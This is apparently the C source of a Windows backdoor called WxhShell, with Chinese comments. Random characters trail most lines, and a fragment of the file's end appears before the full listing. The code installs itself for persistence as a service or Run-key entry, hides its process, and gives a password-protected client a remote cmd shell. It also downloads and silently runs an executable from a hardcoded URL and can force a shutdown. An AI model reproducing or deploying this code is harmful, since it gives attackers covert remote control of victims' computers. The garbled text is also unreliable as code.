    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wodff_l  
    else { F/D/1w^ iR  
    closesocket(wsh); 9>d~g!u=  
    ExitThread(0); xGX U7w:X  
    } u2l`% F`x  
    break; cA`X(Am6]g  
    } _u;34H&/  
  // 获取shell !r+SE  
  case 's': { d C6t+  
    CmdShell(wsh); o [nr)  
    closesocket(wsh); qox@_  
    ExitThread(0); |exjrsmM*  
    break; Yk5Cyq  
  } " R-Pe\W  
  // 退出 2}.EFQp+  
  case 'x': { ~Yl%{1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o]0\Km  
    CloseIt(wsh); M\=/i\-  
    break; /^Zgv-n  
    } 0+_:^z  
  // 离开 yzz(<s:o/  
  case 'q': { )H<F([Jri  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y;tX`5(fe  
    closesocket(wsh); A<cnIUW  
    WSACleanup(); K<"Y4O#]  
    exit(1); y-vB C3  
    break; ,in"8aT}~  
        } CS Isi]H  
  } !,;/JxfgVh  
  } aP +)  
3d>xg%?  
  // 提示信息 S{)'1J_0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q6V\n:hKV  
} q]z%<`.9*  
  } 9'h4QF+Y  
U9yR~pw  
  return; x5!lnN,#  
} ~H`(zzk  
P!lTK   
// shell模块句柄 hgF4PdO1e  
int CmdShell(SOCKET sock) FQikFy(YY  
{ )cxML<j'  
STARTUPINFO si; BxGz4  
ZeroMemory(&si,sizeof(si)); c`!8!R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `xu/|})KI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 08;t%[R  
PROCESS_INFORMATION ProcessInfo; i^6g1"h  
char cmdline[]="cmd"; <@H=XEn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X:gE mcXc  
  return 0; AO^c=^  
} nV?e(}D  
j*@EJ"Gm>  
// 自身启动模式 /Wm3qlv  
int StartFromService(void) -'::$ {  
{ )Xd2qbi  
typedef struct F5/,H:K\  
{ kI#yW!  
  DWORD ExitStatus; y ;T=u(}  
  DWORD PebBaseAddress; d i#:KW  
  DWORD AffinityMask; NFlrr*=t>  
  DWORD BasePriority; atjrn:X  
  ULONG UniqueProcessId; )\0LxsZ  
  ULONG InheritedFromUniqueProcessId; tU(vt0~b  
}   PROCESS_BASIC_INFORMATION; "(SZ;y  
|>AHc_:$$  
PROCNTQSIP NtQueryInformationProcess; e(sV4Z~  
;PG,0R`Z;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >,QW74o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _;`g*Kx  
] iVoF N}^  
  HANDLE             hProcess; he1W22  
  PROCESS_BASIC_INFORMATION pbi; )w!*6<  
FVS@z5A8<=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wMru9zyI  
  if(NULL == hInst ) return 0; +G<9|-  
dnUiNs8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d(j|8/tpA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9mfP9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ixIfJ  
N"#=Q=)x  
  if (!NtQueryInformationProcess) return 0; 5K %  
9x9~u8j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iWu^m+"k  
  if(!hProcess) return 0; qox31pnS  
G[!Y6c 3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mny mV;y"  
F B7.b  
  CloseHandle(hProcess); 7Yd]#K{$  
^J$?[@qD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q<*UeyE S  
if(hProcess==NULL) return 0; \hT=U*dMR  
ITu5Y"x  
HMODULE hMod;  Gu P1  
char procName[255]; q(cSHHv+  
unsigned long cbNeeded; SRf .8j  
G%RhNwm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S`?cs^?  
gw);b)&mx  
  CloseHandle(hProcess); _f5n t:-  
jFMf=u&U  
if(strstr(procName,"services")) return 1; // 以服务启动 +XN/ bT  
b".e6zev  
  return 0; // 注册表启动 p[M*<==4  
} F),wj8#~>-  
ON/U0V:v  
// 主模块 rq>Om MQ67  
int StartWxhshell(LPSTR lpCmdLine) |=9=a@l]P  
{ ^%r>f@h!L  
  SOCKET wsl; FlQ(iv)P  
BOOL val=TRUE; }c~o3t(7`b  
  int port=0; b];? tP  
  struct sockaddr_in door; "G3zl{?GP  
B '"RKs]  
  if(wscfg.ws_autoins) Install(); S;FgS:;  
8h| 9;%  
port=atoi(lpCmdLine); |ydOi&  
X0QLT:J b  
if(port<=0) port=wscfg.ws_port; El)WjcmH  
Us*"g{PQ  
  WSADATA data; ^|0>&sTHOH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?yqTLj  
N N;'QiE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]aF!0Fln~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =-U8^e_Y  
  door.sin_family = AF_INET; YKT=0   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IJt8 * cw  
  door.sin_port = htons(port); d*{NAq'9X  
-N]%) Hy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l /\n7:  
closesocket(wsl); M;Dk$B{;R  
return 1; HQO z  
} /Sag_[i  
bAa+MB#A  
  if(listen(wsl,2) == INVALID_SOCKET) { ^E3i]Oem  
closesocket(wsl); Y]R;>E5o|  
return 1; 3l8k O  
} z1u1%FwOfM  
  Wxhshell(wsl); n!K<g.tjW  
  WSACleanup(); {v>orP?  
D7"RZF\)  
return 0; YzD6S*wb  
{KO +t7'Q  
} )KPQ8y!d  
)D1=jD(  
// 以NT服务方式启动 uNn]hl|x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .}.63T$h9  
{ 5, <:|/r  
DWORD   status = 0; ?Q XS?  
  DWORD   specificError = 0xfffffff; ucVn `  
9M&uQccY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qrtA'fU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WKB8k-.]ww  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }dt7n65  
  serviceStatus.dwWin32ExitCode     = 0; ~3u'=u9l  
  serviceStatus.dwServiceSpecificExitCode = 0; pl{Pur ;i  
  serviceStatus.dwCheckPoint       = 0; sC=fXCGW\p  
  serviceStatus.dwWaitHint       = 0;  #nS  
j>70AE3[8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~20O&2  
  if (hServiceStatusHandle==0) return; 3LaqEj  
/?,c4K,ap  
status = GetLastError(); &XnbZ&_  
  if (status!=NO_ERROR)  %wYGI  
{ JNYFu0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5#SD$^  
    serviceStatus.dwCheckPoint       = 0; I2$.o0=3Y  
    serviceStatus.dwWaitHint       = 0; e+t2F |xDh  
    serviceStatus.dwWin32ExitCode     = status; 4x'N#m{p  
    serviceStatus.dwServiceSpecificExitCode = specificError; oL2 a:\7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k}yUD 0Y  
    return; DfNX@gbo  
  } _ IqUp Y  
8"\g?/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C/w!Y)nB=  
  serviceStatus.dwCheckPoint       = 0; cF7efs8u  
  serviceStatus.dwWaitHint       = 0; ;P{HePs=)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #l!Sz247  
} KF#,Q  
3'H 1T  
// 处理NT服务事件,比如:启动、停止 smM*HDK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C)r!;u)AZH  
{ D/$$"AT  
switch(fdwControl) f.4m6"1  
{ HJn  
case SERVICE_CONTROL_STOP: > %~%O`+  
  serviceStatus.dwWin32ExitCode = 0; *Hnk,?kPq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FYe(S V(9  
  serviceStatus.dwCheckPoint   = 0; k>8,/ AZd  
  serviceStatus.dwWaitHint     = 0; `n# {}%  
  { +H7lkbW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _p~lL<q-K[  
  } ;&N;6V"}  
  return; jJN.(  
case SERVICE_CONTROL_PAUSE: P1Z+XRWOM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '7!b#if  
  break; D-[` wCa,  
case SERVICE_CONTROL_CONTINUE: O<1qU M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V _&>0P{q  
  break; X$L9 kZ  
case SERVICE_CONTROL_INTERROGATE: \Ami-<T  
  break; MMpGI^x!-X  
}; XkWO-L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !XvQm*1  
} Myj 68_wf  
7>a-`"`O  
// 标准应用程序主函数 Ri}n0}I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $LLy#h?V]  
{ >^8=_i !  
8}& O7zO?  
// 获取操作系统版本 MMMuT^X  
OsIsNt=GetOsVer(); <3wfY #;><  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i U^tv_1  
<4gT8 kQ$x  
  // 从命令行安装 [ ET03 nZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;BsPms@U  
RN0@Q~oTI  
  // 下载执行文件 @c<*l+Qc  
if(wscfg.ws_downexe) { )>]~Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wb_'X |"u  
  WinExec(wscfg.ws_filenam,SW_HIDE); /5ngPHy&  
} v>2gx1F"?  
5AWIk,[  
if(!OsIsNt) { 0$-N  
// 如果时win9x,隐藏进程并且设置为注册表启动 cMCGaaLU  
HideProc(); poqcoSL"}  
StartWxhshell(lpCmdLine); r.5}Q?  
} _`/: gkZS  
else zqaz1rt[  
  if(StartFromService()) =kp-[7  
  // 以服务方式启动 O<0G\sU  
  StartServiceCtrlDispatcher(DispatchTable); z9k3@\7  
else rKR2v (c  
  // 普通方式启动 &TmN^R>  
  StartWxhshell(lpCmdLine); #PzRhanX  
p nS{W \Q  
return 0; >AT{\W!N  
} Fxu'(xa  
TwlrncK*  
#Z'r;YOzs  
VpDNp (2  
=========================================== JsfX&dX0  
< p<J;@  
|fx*F}1  
'n7 )()"2  
)Q_^f'4  
hJavi>374  
" t;7 tuq   
v-;j44sB  
#include <stdio.h> p#VA-RSUQ|  
#include <string.h> N|n"JKw)  
#include <windows.h> ,4bqjkX5q  
#include <winsock2.h> "T`Q,  
#include <winsvc.h> TG\3T%gH/s  
#include <urlmon.h> 0] 'Bd`e  
b<|l* \  
#pragma comment (lib, "Ws2_32.lib") f?_UT}n  
#pragma comment (lib, "urlmon.lib") [ 7W@/qqv  
Iv6(Z>pAB  
#define MAX_USER   100 // 最大客户端连接数 8Bvc# +B  
#define BUF_SOCK   200 // sock buffer Jww LAQ5  
#define KEY_BUFF   255 // 输入 buffer !TJCQ[Aa }  
v !~lVv&  
#define REBOOT     0   // 重启 oUMY?[Wp  
#define SHUTDOWN   1   // 关机 O@@=ZyYwc  
GXV<fc"1  
#define DEF_PORT   5000 // 监听端口 WD=#. $z$  
g1JBssw&m  
#define REG_LEN     16   // 注册表键长度 }B=`nbgIG7  
#define SVC_LEN     80   // NT服务名长度 orB8q((  
;(cq aB  
// 从dll定义API #$&!)13  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k_p4 f%9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xef@-%mcoy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 50 :gk*hy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;aJBx  
S&y(A0M  
// wxhshell配置信息 +I$ k_  
struct WSCFG { xFU*,Y  
  int ws_port;         // 监听端口 kY8aK8M  
  char ws_passstr[REG_LEN]; // 口令 /Ulv/Thl  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4ZY0!'be-R  
  char ws_regname[REG_LEN]; // 注册表键名 ,qF;#nB-  
  char ws_svcname[REG_LEN]; // 服务名 g5gq {KlU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xXpeo_y'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {&_1/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,/O,j SRk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no czMThm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ou;E@`h;x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n>d@}hyv  
39jnoT  
}; FL}k0  
6I0G.N  
// default Wxhshell configuration <!ewb=[_$  
struct WSCFG wscfg={DEF_PORT, 3jMHe~.E<  
    "xuhuanlingzhe",  jpc bW  
    1, YK[PC]w  
    "Wxhshell", r=Up-(j  
    "Wxhshell", PNwXZ/N%  
            "WxhShell Service", -e6~0%X  
    "Wrsky Windows CmdShell Service", K:PPZ|  
    "Please Input Your Password: ", `:hEc<_/  
  1, 1]wx Ru  
  "http://www.wrsky.com/wxhshell.exe", =Ri'Pr x&  
  "Wxhshell.exe" ,G,'#]  
    }; "pdq_35  
W,<P])  
// 消息定义模块 vs3px1Xe#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^oNk}:>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0/7y&-/(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zJE$sB.f  
char *msg_ws_ext="\n\rExit."; u{F^Ngy )  
char *msg_ws_end="\n\rQuit."; yi7m!+D3  
char *msg_ws_boot="\n\rReboot..."; Z x9oj  
char *msg_ws_poff="\n\rShutdown..."; dd+[FU  
char *msg_ws_down="\n\rSave to "; =YZyH4eI  
1Ner1EKGp  
char *msg_ws_err="\n\rErr!"; a1lF8;[  
char *msg_ws_ok="\n\rOK!"; N*~G ]  
6#egy|("nF  
char ExeFile[MAX_PATH]; 5^"T `,${  
int nUser = 0; }!tJ3G  
HANDLE handles[MAX_USER]; CRK%%;=>  
int OsIsNt; A#:5b5R  
$is|B9B  
SERVICE_STATUS       serviceStatus; JZQT}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gw3H1:yo  
]JQ';%dne  
// 函数声明 2hOr#I$/  
int Install(void); yH\z+A|  
int Uninstall(void); E^uWlUb{  
int DownloadFile(char *sURL, SOCKET wsh); 7M~w05tPh  
int Boot(int flag); +}IOTw" O`  
void HideProc(void); ( Z-~Eh  
int GetOsVer(void); 5r;M61  
int Wxhshell(SOCKET wsl); gv7(-I  
void TalkWithClient(void *cs); k)VoDxMKK  
int CmdShell(SOCKET sock); k5]M~"  
int StartFromService(void); J&%d(EJM  
int StartWxhshell(LPSTR lpCmdLine); U%2[,c_  
xHs8']*\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y/!h.[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $tGk,.#j  
C]22 [v4  
// 数据结构和表定义 x.Sq2rw]V  
SERVICE_TABLE_ENTRY DispatchTable[] = SDY!!.  
{ NXQdyg,  
{wscfg.ws_svcname, NTServiceMain}, y:TLGQ0  
{NULL, NULL} {-28%  
}; P'^#I[G'  
!{@!:m3w  
// 自我安装 d|UK=B^x  
int Install(void) wYTF:Ou^5~  
{ 7O3\  
  char svExeFile[MAX_PATH]; a78&<  
  HKEY key; [I*BEJ;W'  
  strcpy(svExeFile,ExeFile); %<x2=#0  
/\=syl  
// 如果是win9x系统,修改注册表设为自启动 L;a> J  
if(!OsIsNt) { -]1F ] d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }@-4*5P3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B(<;]  
  RegCloseKey(key); ekB!d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >P7|-bV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OidF{I*O  
  RegCloseKey(key); wyqXD.o f  
  return 0; 3Lx]-0h  
    } k_)H$*  
  } ^rd]qii"  
} &%QtUPvr9  
else { BdHLow  
ulM6R/ V:?  
// 如果是NT以上系统,安装为系统服务 i#$N,kt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `'BvUTDyZ  
if (schSCManager!=0) R:7j`gHJ|9  
{ %T3L-{s5  
  SC_HANDLE schService = CreateService KF' $D:\  
  ( ") Xy%C`J  
  schSCManager, :G#>):  
  wscfg.ws_svcname, mz\d>0F U.  
  wscfg.ws_svcdisp, _KSYt32N  
  SERVICE_ALL_ACCESS, N :E7rtT,M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h(aF>a\Z  
  SERVICE_AUTO_START, R8 1z|+c|_  
  SERVICE_ERROR_NORMAL, |2,'QTm=  
  svExeFile, 0) }bJ,5/  
  NULL, ;M '?k8L  
  NULL, Ip}(!D|  
  NULL, u@v0I$  
  NULL, PxENLQ3a=  
  NULL IaDc hI  
  ); /6_>d $  
  if (schService!=0) F?]nPb|  
  { wy3{>A Z(  
  CloseServiceHandle(schService); sWp]Zy  
  CloseServiceHandle(schSCManager); \TM%,RC3K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \hSOJ,{)U  
  strcat(svExeFile,wscfg.ws_svcname); ~2Jvb[IM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p"Ki$.Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]HoQ6R\E b  
  RegCloseKey(key); cE S3<`[K  
  return 0; " $5J7  
    } ;74hOHDS  
  } [eV!ho*r  
  CloseServiceHandle(schSCManager); 0( fN  
} eJ0PSW/4l  
} I13n mI\  
!Fa2F~#h  
return 1; RFyeA. N  
} *Q bPz4,"  
Z2d,J>-  
// 自我卸载 $_,?SXM  
int Uninstall(void) Y$8 >fv  
{ 3RpDIl`0  
  HKEY key; ~Ein)5  
U[5  
if(!OsIsNt) { Z IfhC'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DJSSc  
  RegDeleteValue(key,wscfg.ws_regname); 3DRXao  
  RegCloseKey(key); {Z<4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F5Tah{  
  RegDeleteValue(key,wscfg.ws_regname); [G{{f  
  RegCloseKey(key); ^7Q}W#jy  
  return 0; lUXxpv1m  
  } U[9`:aV;  
} !( xeDX  
} 0tVZvXgTu  
else { l_JPkM(mJw  
pNFL;k+p}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N_TWT&o4  
if (schSCManager!=0) 9kj71Jp&}  
{ 4}sfJ0HhX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wkm;yCF+  
  if (schService!=0) SEm3T4dfzf  
  { o@[yF<  
  if(DeleteService(schService)!=0) { aNgaV$|2a  
  CloseServiceHandle(schService); l ,0]iVJ  
  CloseServiceHandle(schSCManager); pv%UsbY  
  return 0; FVkb9(WW  
  } IDbqhZp(  
  CloseServiceHandle(schService); Y*iYr2?;  
  } \gferWm  
  CloseServiceHandle(schSCManager); TqK`X#Zq  
} w|?<;+  
} 1MI/:vy-  
R.Xh&@f`  
return 1; X 10(oT  
} dwOB)B@{H  
"`Q~rjc$2  
// 从指定url下载文件 Q:$<`K4)  
int DownloadFile(char *sURL, SOCKET wsh) qn}w]yGW  
{ ,.Ac= "f  
  HRESULT hr; [pf78  
char seps[]= "/"; HJT}v/FZ  
char *token; _+%RbJ~H  
char *file; "\bbe@  
char myURL[MAX_PATH]; *"#62U6  
char myFILE[MAX_PATH]; fvKb0cIx]  
nff&~lwhZ  
strcpy(myURL,sURL); Afi;s. ,  
  token=strtok(myURL,seps); NDLk+n  
  while(token!=NULL) 6?n AO  
  { uNe5Mv|}  
    file=token; &VtTUy}  
  token=strtok(NULL,seps); Uu xbN-u  
  } zk8 s?$  
1euL+zeh  
GetCurrentDirectory(MAX_PATH,myFILE); gZ6]\l]J{  
strcat(myFILE, "\\"); uev$5jlX  
strcat(myFILE, file); /Y("Q#Ueq  
  send(wsh,myFILE,strlen(myFILE),0); )`?Es8uW  
send(wsh,"...",3,0); co<-gy/mCR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 47s<xQy  
  if(hr==S_OK) wzhM/Lmo\z  
return 0; .-t#wXEi  
else 4;@|tC|u  
return 1; i_?";5B"  
v[VUX69  
} 7)sEW#d!  
G v(bD6Rz  
// 系统电源模块 Gqvnc8V&  
int Boot(int flag) JFe %W?}.D  
{ wb^Yg9  
  HANDLE hToken; ^Nl)ocHv!  
  TOKEN_PRIVILEGES tkp; *het_;)+{  
7g1" s1~or  
  if(OsIsNt) { cwi HHf>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &!uw;|%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Htn'(Q  
    tkp.PrivilegeCount = 1; '6Dt@^-PZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p.,o@GcL~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qUX   
if(flag==REBOOT) { ,Oojh;P_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &kh7|:{j  
  return 0; p#HbN#^Hy  
} "/6<k0.D&  
else { u*u>F@C8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8%OS ,Z  
  return 0; >}{'{ Z &  
} F;p>bw  
  } DIO @Zo  
  else { K r $R"  
if(flag==REBOOT) { )%'Lm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AA&398F  
  return 0; ncS.~F  
} b(wzn`Z%Et  
else { ]nE_(*w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m~Q]#r  
  return 0; nHxos` Qx  
} $ c4Q6w  
} Ek\f x*Lz  
c]:sk[u  
return 1; EacqQFErl  
} '^pA%I2D  
KfpDPwP@  
// win9x进程隐藏模块 No8~~  
void HideProc(void) PGZ.\i  
{ kb<Nuw  
/5M@>A^?'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9An_zrJ%i  
  if ( hKernel != NULL ) z-(@j;.  
  { GFd~..$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .sNUU 3xSC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *xB9~:  
    FreeLibrary(hKernel); ~I<yN`5(a  
  } 1Y iUf  
^/`:o}7K7  
return; Qd"{2>  
} Rz% Px:M  
}m NP[L  
// 获取操作系统版本 m)4s4P57y  
int GetOsVer(void) .m_yx{FZ=  
{ jG=*\lK6  
  OSVERSIONINFO winfo; A[L+w9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |@pJ]  
  GetVersionEx(&winfo); Gs$<r~Tg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F, {M!dL  
  return 1; F. X{(8  
  else PZ2$ [s0W  
  return 0; k]FP1\Y  
} \ F=w~ $)  
fhqc[@Y[  
// 客户端句柄模块 iyNyj44 H  
int Wxhshell(SOCKET wsl) hY=#_r8  
{ .lrI|BH?z  
  SOCKET wsh; cQEK>aAd  
  struct sockaddr_in client; AP.WTFf  
  DWORD myID; NyU~8?bp  
hPtSY'_@_  
  while(nUser<MAX_USER) xXQ#?::m  
{ a.)Gd]}g  
  int nSize=sizeof(client); lO},fM2j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Omo1p(y  
  if(wsh==INVALID_SOCKET) return 1; krwY_$q  
=1 g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q:Gi Qk-  
if(handles[nUser]==0) +P,hT  
  closesocket(wsh); #I[tsly}  
else T'.U?G  
  nUser++; p~1,[]k  
  } 7m0sF<P{g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YGrmco?G  
I12WOL q  
  return 0; P6w!r>?6N  
} ?,e7v.b  
c"R`7P  
// 关闭 socket c/.U<  
void CloseIt(SOCKET wsh) N}x \Ll  
{ prE~GO7Z  
closesocket(wsh); :3F&NsgHH  
nUser--; }{;m:Iia_  
ExitThread(0); J =o,: 3"  
} N'_,VB  
lot7SXvK  
// 客户端请求句柄 ZY-UQ4_|u  
void TalkWithClient(void *cs) X8l[B{|  
{ aW hhq@  
s6SG%Vd  
  SOCKET wsh=(SOCKET)cs; gaBt;@?:Q  
  char pwd[SVC_LEN]; -;=0dfC(  
  char cmd[KEY_BUFF]; tWL3F?wd  
char chr[1]; \/,54c2  
int i,j; yQb^]|XG  
v3 4!rL  
  while (nUser < MAX_USER) { zOA{S~>  
nWpqAb  
if(wscfg.ws_passstr) { WCxt-+#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oLVy?M%{P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kzPHPERA]  
  //ZeroMemory(pwd,KEY_BUFF); ~M`-sSjZs  
      i=0; Fy^*@&  
  while(i<SVC_LEN) { x,YC/J  
/CX_@%m}e=  
  // 设置超时 HRO :U%  
  fd_set FdRead; Aa t _5p  
  struct timeval TimeOut; Arh0m. w  
  FD_ZERO(&FdRead); ],ioY*4G  
  FD_SET(wsh,&FdRead); HHa XK  
  TimeOut.tv_sec=8; 1(0LX^%  
  TimeOut.tv_usec=0; 2Jo'!|]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M@@l>"g@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0g% `L_e_  
tqyR~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^qXc%hjg  
  pwd=chr[0]; '5zolp%St  
  if(chr[0]==0xd || chr[0]==0xa) { oiYI$ql3L  
  pwd=0; fR<_4L  
  break; ~oO>6  
  } xaQ]Vjw  
  i++; eqD|3YX  
    } -g8G47piX:  
R}lS@w1  
  // 如果是非法用户,关闭 socket Dd8*1,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9`kxyh</  
} !mhV$2&r  
CDcZ6.f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $(pzh:|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *gMo(-tN  
W0%cJ8~  
while(1) { <PL94  
SwHrHj  
  ZeroMemory(cmd,KEY_BUFF); o/273I  
d*80eB9P  
      // 自动支持客户端 telnet标准   \zioIfHm  
  j=0; ^g/    
  while(j<KEY_BUFF) { 4'JuK{/ A7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &P 'cf|KI  
  cmd[j]=chr[0]; (VeX[*}I  
  if(chr[0]==0xa || chr[0]==0xd) { b4%sOn,  
  cmd[j]=0; u*:B 9E  
  break; ?m5@ 63 5  
  } 2(V;OWY(@  
  j++; xu9K\/{7  
    } SYkLia(Ty  
5.!iVyN  
  // 下载文件 `7<4]#b^o  
  if(strstr(cmd,"http://")) { iX4?5yz~<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4DaLt&1  
  if(DownloadFile(cmd,wsh)) n$B SO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /c 3A>  
  else ;]AJ_h(<`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O ;,BzA-n  
  } r|2Y|6@  
  else { 9m^"ca  
J8Bz|.@Q  
    switch(cmd[0]) { ]6)^+(zU  
  "w3#2q&  
  // 帮助 pC<~\RR  
  case '?': { 1FC'DH!  
